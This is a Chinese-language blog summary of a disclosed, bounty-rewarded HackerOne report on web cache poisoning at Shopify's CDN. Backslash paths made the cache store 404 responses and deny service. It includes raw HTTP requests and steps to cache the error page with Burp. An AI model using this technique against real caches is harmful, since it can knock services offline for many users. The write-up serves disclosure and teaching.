【$3,800】Shopify 缓存中毒导致DoS漏洞披露
【$3,800】Shopify 缓存中毒导致DoS漏洞披露
原创 骨哥说事 骨哥说事 2025-06-06 02:58
声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。 |
****# 防走失:https://gugesay.com/archives/4425
**不想错过任何消息?设置星标↓ ↓ ↓
概要
白帽子在 Shopify 的 CDN 域名上发现了一处 Web 缓存投毒漏洞,其中缓存服务器将反斜杠和正斜杠视为等效,而源服务器对包含反斜杠的路径返回 404 错误。
这种差异允许攻击者使用反斜杠而不是正斜杠发送请求,导致 404 错误被缓存并用于合法请求,从而创建了一个可能导致多个 Shopify 服务受影响的拒绝服务条件。该漏洞通过在所有受影响的 CDN 域名上实施一致的路径处理得到了修复。
复现步骤
- 打开 cdn.shopify.com 上托管的任意文件(例如:https://cdn.shopify.com/static/javascripts/vendor/bugsnag.v7.4.0.min.js
),并使用 Burp Suite 拦截该请求:
GET /static/javascripts/vendor/bugsnag.v7.4.0.min.js HTTP/1.1Host: cdn.shopify.comConnection: closeUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
-
为了使该请求返回 404 错误,首先将 URL 中的斜杠替换为反斜杠
-
在进行任何测试之前,须在 URL 末尾添加一个缓存破坏器查询参数,以防止对使用该网站的所有用户造成拒绝服务攻击。(例如,在 URL 末尾添加?cachebuster={随机值}
),新的请求如下:
GET /static\javascripts\vendor\bugsnag.v7.4.0.min.js?cachebuster=123 HTTP/1.1Host: cdn.shopify.comConnection: closeUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
- 发送此之前的请求将返回 404,并且将具有与 https://cdn.shopify.com/static/javascripts/vendor/bugsnag.v7.4.0.min.js?cachebuster=123
相同的缓存键
-
为了缓存该响应,需要在 Burp Repeater 中多次发送损坏请求,或者使用 Burp Intruder 来持续缓存错误页面
-
现在,尝试在浏览器中打开 https://cdn.shopify.com/static/javascripts/vendor/bugsnag.v7.4.0.min.js?cachebuster=123
,将显示为 404 错误页面,而不是 javascript 文件
同样的漏洞也适用于 shopify-assets.shopifycdn.com,该域名会被其他 Shopify 网站如 accounts.shopify.com 使用。
赏金结算
报告原文:https://hackerone.com/reports/1695604
- END –
加入星球,随时交流:
*(会员统一定价):128元/年(0.35元/天)***
感谢阅读,如果觉得还不错的话,欢迎分享给更多喜爱的朋友~